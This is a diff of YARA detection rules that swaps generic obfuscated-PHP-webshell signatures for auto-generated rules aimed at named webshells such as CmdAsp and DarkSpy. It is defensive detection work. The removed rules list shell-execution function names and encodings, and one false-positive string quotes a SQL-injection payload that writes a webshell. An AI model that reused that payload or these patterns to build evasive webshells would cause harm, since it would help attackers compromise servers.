+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5b496a61363d304532bcf52ee21f5d55"
+		logic_hash = "6bcfb1ee40403394bf996ecbe1bb17f9afa0c3ba9e1906881b94bbc785b4a510"
 		score = 75
-		quality = 17
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$decode1 = "base64_decode" fullword nocase wide ascii
-		$decode2 = "openssl_decrypt" fullword nocase wide ascii
-		$one1 = "leGVj"
-		$one2 = "V4ZW"
-		$one3 = "ZXhlY"
-		$one4 = "UAeABlAGMA"
-		$one5 = "lAHgAZQBjA"
-		$one6 = "ZQB4AGUAYw"
-		$two1 = "zaGVsbF9leGVj"
-		$two2 = "NoZWxsX2V4ZW"
-		$two3 = "c2hlbGxfZXhlY"
-		$two4 = "MAaABlAGwAbABfAGUAeABlAGMA"
-		$two5 = "zAGgAZQBsAGwAXwBlAHgAZQBjA"
-		$two6 = "cwBoAGUAbABsAF8AZQB4AGUAYw"
-		$three1 = "wYXNzdGhyd"
-		$three2 = "Bhc3N0aHJ1"
-		$three3 = "cGFzc3Rocn"
-		$three4 = "AAYQBzAHMAdABoAHIAdQ"
-		$three5 = "wAGEAcwBzAHQAaAByAHUA"
-		$three6 = "cABhAHMAcwB0AGgAcgB1A"
-		$four1 = "zeXN0ZW"
-		$four2 = "N5c3Rlb"
-		$four3 = "c3lzdGVt"
-		$four4 = "MAeQBzAHQAZQBtA"
-		$four5 = "zAHkAcwB0AGUAbQ"
-		$four6 = "cwB5AHMAdABlAG0A"
-		$five1 = "wb3Blb"
-		$five2 = "BvcGVu"
-		$five3 = "cG9wZW"
-		$five4 = "AAbwBwAGUAbg"
-		$five5 = "wAG8AcABlAG4A"
-		$five6 = "cABvAHAAZQBuA"
-		$six1 = "wcm9jX29wZW"
-		$six2 = "Byb2Nfb3Blb"
-		$six3 = "cHJvY19vcGVu"
-		$six4 = "AAcgBvAGMAXwBvAHAAZQBuA"
-		$six5 = "wAHIAbwBjAF8AbwBwAGUAbg"
-		$six6 = "cAByAG8AYwBfAG8AcABlAG4A"
-		$seven1 = "wY250bF9leGVj"
-		$seven2 = "BjbnRsX2V4ZW"
-		$seven3 = "cGNudGxfZXhlY"
-		$seven4 = "AAYwBuAHQAbABfAGUAeABlAGMA"
-		$seven5 = "wAGMAbgB0AGwAXwBlAHgAZQBjA"
-		$seven6 = "cABjAG4AdABsAF8AZQB4AGUAYw"
-		$eight1 = "ldmFs"
-		$eight2 = "V2YW"
-		$eight3 = "ZXZhb"
-		$eight4 = "UAdgBhAGwA"
-		$eight5 = "lAHYAYQBsA"
-		$eight6 = "ZQB2AGEAbA"
-		$nine1 = "hc3Nlcn"
-		$nine2 = "Fzc2Vyd"
-		$nine3 = "YXNzZXJ0"
-		$nine4 = "EAcwBzAGUAcgB0A"
-		$nine5 = "hAHMAcwBlAHIAdA"
-		$nine6 = "YQBzAHMAZQByAHQA"
-		$execu1 = "leGVjd"
-		$execu2 = "V4ZWN1"
-		$execu3 = "ZXhlY3"
-		$esystem1 = "lc3lzdGVt"
-		$esystem2 = "VzeXN0ZW"
-		$esystem3 = "ZXN5c3Rlb"
-		$opening1 = "vcGVuaW5n"
-		$opening2 = "9wZW5pbm"
-		$opening3 = "b3BlbmluZ"
-		$fp1 = { D0 CF 11 E0 A1 B1 1A E1 }
-		$fp2 = "YXBpLnRlbGVncmFtLm9"
-		$fp3 = " GET /"
-		$fp4 = " POST /"
-		$fpa1 = "/cn=Recipients"
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s5 = " byMesaj "
 
 	condition:
-		filesize <300KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and not any of ($fp*) and any of ($decode*) and (( any of ($one*) and not any of ($execu*)) or any of ($two*) or any of ($three*) or ( any of ($four*) and not any of ($esystem*)) or ( any of ($five*) and not any of ($opening*)) or any of ($six*) or any of ($seven*) or any of ($eight*) or any of ($nine*))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Unknown_1 : FILE
+rule SIGNATURE_BASE_Hkshell_Hkshell
 {
 	meta:
-		description = "obfuscated php webshell"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "93d01a4c-4c18-55d2-b682-68a1f6460889"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L871-L893"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "12ce6c7167b33cc4e8bdec29fb1cfc44ac9487d1"
-		hash = "cf4abbd568ce0c0dfce1f2e4af669ad2"
-		logic_hash = "ce2d4c87c001a45febf7eac5474aa0d24ea73067f9154203ef5653bf77e7028f"
+		description = "Webshells Auto-generated - file hkshell.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7436cd7c-7027-56dc-bb62-fac0f70c27d8"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7314-L7327"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "168cab58cee59dc4706b3be988312580"
+		logic_hash = "bee4d4c957ede41c771d690d52ac2fd3655238cc1fc106d30fb2721084b38aa1"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$sp0 = /^<\?php \$[a-z]{3,30} = '/ wide ascii
-		$sp1 = "=explode(chr(" wide ascii
-		$sp2 = "; if (!function_exists('" wide ascii
-		$sp3 = " = NULL; for(" wide ascii
+		$s1 = "PrSessKERNELU"
+		$s2 = "Cur3ntV7sion"
+		$s3 = "Explorer8"
 
 	condition:
-		filesize <300KB and all of ($sp*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Generic_Eval : FILE
+rule SIGNATURE_BASE_Imhapftp
 {
 	meta:
-		description = "Generic PHP webshell which uses any eval/exec function in the same line with user input"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "79cfbd88-f6f7-5cba-a325-0a99962139ca"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L895-L954"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a61437a427062756e2221bfb6d58cd62439d09d9"
-		hash = "90c5cc724ec9cf838e4229e5e08955eec4d7bf95"
-		hash = "2b41abc43c5b6c791d4031005bf7c5104a98e98a00ee24620ce3e8e09a78e78f"
-		hash = "5c68a0fa132216213b66a114375b07b08dc0cb729ddcf0a29bff9ca7a22eaaf4"
-		hash = "de3c01f55d5346577922bbf449faaaaa1c8d1aaa64c01e8a1ee8c9d99a41a1be"
-		hash = "124065176d262bde397b1911648cea16a8ff6a4c8ab072168d12bf0662590543"
-		hash = "cd7450f3e5103e68741fd086df221982454fbcb067e93b9cbd8572aead8f319b"
-		hash = "ab835ce740890473adf5cc804055973b926633e39c59c2bd98da526b63e9c521"
-		hash = "31ff9920d401d4fbd5656a4f06c52f1f54258bc42332fc9456265dca7bb4c1ea"
-		hash = "64e6c08aa0b542481b86a91cdf1f50c9e88104a8a4572a8c6bd312a9daeba60e"
-		hash = "80e98e8a3461d7ba15d869b0641cdd21dd5b957a2006c3caeaf6f70a749ca4bb"
-		hash = "93982b8df76080e7ba4520ae4b4db7f3c867f005b3c2f84cb9dff0386e361c35"
-		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
-		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
-		hash = "7ca5dec0515dd6f401cb5a52c313f41f5437fc43eb62ea4bcc415a14212d09e9"
-		hash = "fd5f0f81204ca6ca6e93343500400d5853012e88254874fc9f62efe0fde7ab3c"
-		hash = "883f48ed4e9646da078cabf6b8b4946d9f199660262502650f76450ecf60ddd5"
-		hash = "6d042b6393669bb4d98213091cabe554ab192a6c916e86c04d06cc2a4ca92c00"
-		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
-		logic_hash = "2ab73d02c92c4feb5b3f942fba1c5747406956e194f877bb7cf781450152a88c"
+		description = "Webshells Auto-generated - file iMHaPFtp.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c810c630-ce08-5059-ad49-f65b244f4d19"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7328-L7339"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "12911b73bc6a5d313b494102abcf5c57"
+		logic_hash = "c24bb80a0ae4284b4303450e9103c5dda30c41b41f323641ac1175461f741ced"
 		score = 75
-		quality = 35
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$geval = /\b(exec|shell_exec|passthru|system|popen|proc_open|pcntl_exec|eval|assert)[\t ]{0,500}(\(base64_decode)?(\(stripslashes)?[\t ]{0,500}(\(trim)?[\t ]{0,500}\(\$(_POST|_GET|_REQUEST|_SERVER\s?\[['"]HTTP_|GLOBALS\[['"]_(POST|GET|REQUEST))/ wide ascii
-		$gfp1 = "eval(\"return [$serialised_parameter"
-		$gfp2 = "$this->assert(strpos($styles, $"
-		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
-		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
-		$gfp5 = "$_POST[partition_by]($_POST["
-		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
-		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
-		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
-		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
-		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
-		$gfp11 = "(eval (getenv \"EPROLOG\")))"
-		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
-		$gfp_3 = " GET /"
-		$gfp_4 = " POST /"
+		$s1 = "echo \"\\t<th class=\\\"permission_header\\\"><a href=\\\"$self?{$d}sort=permission$r\\\">"
 
 	condition:
-		filesize <300KB and not ( any of ($gfp*)) and $geval
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Double_Eval_Tiny : FILE
+rule SIGNATURE_BASE_Unpack_Tback
 {
 	meta:
-		description = "PHP webshell which probably hides the input inside an eval()ed obfuscated string"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "868db363-83d3-57e2-ac8d-c6125e9bdd64"
-		date = "2021-01-11"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L956-L1007"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f66fb918751acc7b88a17272a044b5242797976c73a6e54ac6b04b02f61e9761"
-		hash = "6b2f0a3bd80019dea536ddbf92df36ab897dd295840cb15bb7b159d0ee2106ff"
-		hash = "aabfd179aaf716929c8b820eefa3c1f613f8dcac"
-		hash = "9780c70bd1c76425d4313ca7a9b89dda77d2c664"
-		hash = "006620d2a701de73d995fc950691665c0692af11"
-		logic_hash = "cf0405e8a44497574d75291bf86bf9413d9a64140e820f7f5a655fe5302c6918"
+		description = "Webshells Auto-generated - file TBack.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b5f93621-e1e9-5aed-b574-471b4c1f9570"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7340-L7351"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a9d1007823bf96fb163ab38726b48464"
+		logic_hash = "0fb43766c305f4235cc0987f411fdc3b3674723687f0b63d346429f4a7b5b87f"
 		score = 75
-		quality = -8
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload = /(\beval[\t ]{0,500}\([^)]|\bassert[\t ]{0,500}\([^)])/ nocase wide ascii
-		$fp1 = "clone" fullword wide ascii
-		$fp2 = "* @assert" ascii
-		$fp3 = "*@assert" ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s5 = "\\final\\new\\lcc\\public.dll"
 
 	condition:
-		filesize >70 and filesize <300 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and #payload>=2 and not any of ($fp*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC : FILE
+rule SIGNATURE_BASE_Darkspy105
 {
 	meta:
-		description = "PHP webshell obfuscated"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f66e337b-8478-5cd3-b01a-81133edaa8e5"
-		date = "2021-01-12"
-		modified = "2024-03-11"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1009-L1135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "eec9ac58a1e763f5ea0f7fa249f1fe752047fa60"
-		hash = "181a71c99a4ae13ebd5c94bfc41f9ec534acf61cd33ef5bce5fb2a6f48b65bf4"
-		hash = "76d4e67e13c21662c4b30aab701ce9cdecc8698696979e504c288f20de92aee7"
-		hash = "1d0643927f04cb1133f00aa6c5fa84aaf88e5cf14d7df8291615b402e8ab6dc2"
-		logic_hash = "8d7150a4fc657efe3526d5f8f624a66e7186a3f42b4605cc349bd31deeb71b7f"
+		description = "Webshells Auto-generated - file DarkSpy105.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9d519ccf-fe52-5b82-a39d-c9f86c1089e1"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7352-L7363"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f0b85e7bec90dba829a3ede1ab7d8722"
+		logic_hash = "0f1c9dba4525f9c30f309500652ed6af647ddf492f483e101fc23c891e15fc85"
 		score = 75
-		quality = -773
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$gfp1 = "eval(\"return [$serialised_parameter"
-		$gfp2 = "$this->assert(strpos($styles, $"
-		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
-		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
-		$gfp5 = "$_POST[partition_by]($_POST["
-		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
-		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
-		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
-		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
-		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
-		$gfp11 = "(eval (getenv \"EPROLOG\")))"
-		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$o1 = "chr(" nocase wide ascii
-		$o2 = "chr (" nocase wide ascii
-		$o3 = "goto" fullword nocase wide ascii
-		$o4 = "\\x9" wide ascii
-		$o5 = "\\x3" wide ascii
-		$o6 = "\\61" wide ascii
-		$o7 = "\\44" wide ascii
-		$o8 = "\\112" wide ascii
-		$o9 = "\\120" wide ascii
-		$fp1 = "$goto" wide ascii
-		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
-		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
-		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
-		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
-		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+		$s7 = "Sorry,DarkSpy got an unknown exception,please re-run it,thanks!"
 
 	condition:
-		not ( any of ($gfp*)) and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( not $fp1 and (( filesize <20KB and ((#o1+#o2)>50 or #o3>10 or (#o4+#o5+#o6+#o7+#o8+#o9)>20)) or ( filesize <200KB and ((#o1+#o2)>200 or #o3>30 or (#o4+#o5+#o6+#o7+#o8+#o9)>30)))) and ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Encoded : FILE
+rule SIGNATURE_BASE_Editserver_EXE
 {
 	meta:
-		description = "PHP webshell obfuscated by encoding"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "134c1189-1b41-58d5-af66-beaa4795a704"
-		date = "2021-04-18"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1137-L1188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "119fc058c9c5285498a47aa271ac9a27f6ada1bf4d854ccd4b01db993d61fc52"
-		hash = "d5ca3e4505ea122019ea263d6433221030b3f64460d3ce2c7d0d63ed91162175"
-		hash = "8a1e2d72c82f6a846ec066d249bfa0aaf392c65149d39b7b15ba19f9adc3b339"
-		logic_hash = "c2a88e48374f949fcc9c14b773f7709c96b3147d1982ae9721708474ee5a3dcd"
-		score = 70
-		quality = -164
-		tags = "FILE"
+		description = "Webshells Auto-generated - file EditServer.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "97928144-0112-5288-8f95-acf7a0d56e71"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7364-L7377"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f945de25e0eba3bdaf1455b3a62b9832"
+		logic_hash = "d440669b0c0bf575cf9dea946edf55f724300a4c765e90c631fc1eee062bf006"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$enc_eval1 = /(e|\\x65|\\101)(\\x76|\\118)(a|\\x61|\\97)(l|\\x6c|\\108)(\(|\\x28|\\40)/ wide ascii nocase
-		$enc_eval2 = /(\\x65|\\101)(v|\\x76|\\118)(a|\\x61|\\97)(l|\\x6c|\\108)(\(|\\x28|\\40)/ wide ascii nocase
-		$enc_assert1 = /(a|\\97|\\x61)(\\115|\\x73)(s|\\115|\\x73)(e|\\101|\\x65)(r|\\114|\\x72)(t|\\116|\\x74)(\(|\\x28|\\40)/ wide ascii nocase
-		$enc_assert2 = /(\\97|\\x61)(s|\\115|\\x73)(s|\\115|\\x73)(e|\\101|\\x65)(r|\\114|\\x72)(t|\\116|\\x74)(\(|\\x28|\\40)/ wide ascii nocase
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s2 = "Server %s Have Been Configured"
+		$s5 = "The Server Password Exceeds 32 Characters"
+		$s8 = "9--Set Procecess Name To Inject DLL"
 
 	condition:
-		filesize <700KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and any of ($enc*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Encoded_Mixed_Dec_And_Hex : FILE
+rule SIGNATURE_BASE_FSO_S_Reader
 {
 	meta:
-		description = "PHP webshell obfuscated by encoding of mixed hex and dec"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9ae920e2-17c8-58fd-8566-90d461a54943"
-		date = "2021-04-18"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1190-L1246"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0e21931b16f30b1db90a27eafabccc91abd757fa63594ba8a6ad3f477de1ab1c"
-		hash = "929975272f0f42bf76469ed89ebf37efcbd91c6f8dac1129c7ab061e2564dd06"
-		hash = "88fce6c1b589d600b4295528d3fcac161b581f739095b99cd6c768b7e16e89ff"
-		hash = "883f48ed4e9646da078cabf6b8b4946d9f199660262502650f76450ecf60ddd5"
-		hash = "50389c3b95a9de00220fc554258fda1fef01c62dad849e66c8a92fc749523457"
-		hash = "c4ab4319a77b751a45391aa01cde2d765b095b0e3f6a92b0b8626d5c7e3ad603"
-		hash = "df381f04fca2522e2ecba0f5de3f73a655d1540e1cf865970f5fa3bf52d2b297"
-		hash = "401388d8b97649672d101bf55694dd175375214386253d0b4b8d8d801a89549c"
-		hash = "99fc39a12856cc1a42bb7f90ffc9fe0a5339838b54a63e8f00aa98961c900618"
-		hash = "fb031af7aa459ee88a9ca44013a76f6278ad5846aa20e5add4aeb5fab058d0ee"
-		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
-		hash = "0ff05e6695074f98b0dee6200697a997c509a652f746d2c1c92c0b0a0552ca47"
-		logic_hash = "d9b4d224d43915cf08050c173627b314c3e41a30ecfffe28038281eadc114e51"
+		description = "Webshells Auto-generated - file reader.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d596f7f4-5b0d-5f17-94d3-2582ec041eb1"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7378-L7389"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b598c8b662f2a1f6cc61f291fb0a6fa2"
+		logic_hash = "89a948f8da66173965884cd525615c8eeb91cf98a4984c05be7472034bb72f76"
 		score = 75
-		quality = -33
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$mix = /['"](\w|\\x?[0-9a-f]{2,3})[\\x0-9a-f]{2,20}\\\d{1,3}[\\x0-9a-f]{2,20}\\x[0-9a-f]{2}\\/ wide ascii nocase
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s2 = "mailto:mailbomb@hotmail."
 
 	condition:
-		filesize <700KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and any of ($mix*)
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_ASP_Cmdasp
+{
+	meta:
+		description = "Webshells Auto-generated - file CmdAsp.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e4b48843-1936-5717-b2b6-add5b4a14d04"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7390-L7403"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "79d4f3425f7a89befb0ef3bafe5e332f"
+		logic_hash = "84c3148fe74b1afaa6e3bbff0aca8df1f1775759a36a673cc13d35ef7658929c"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
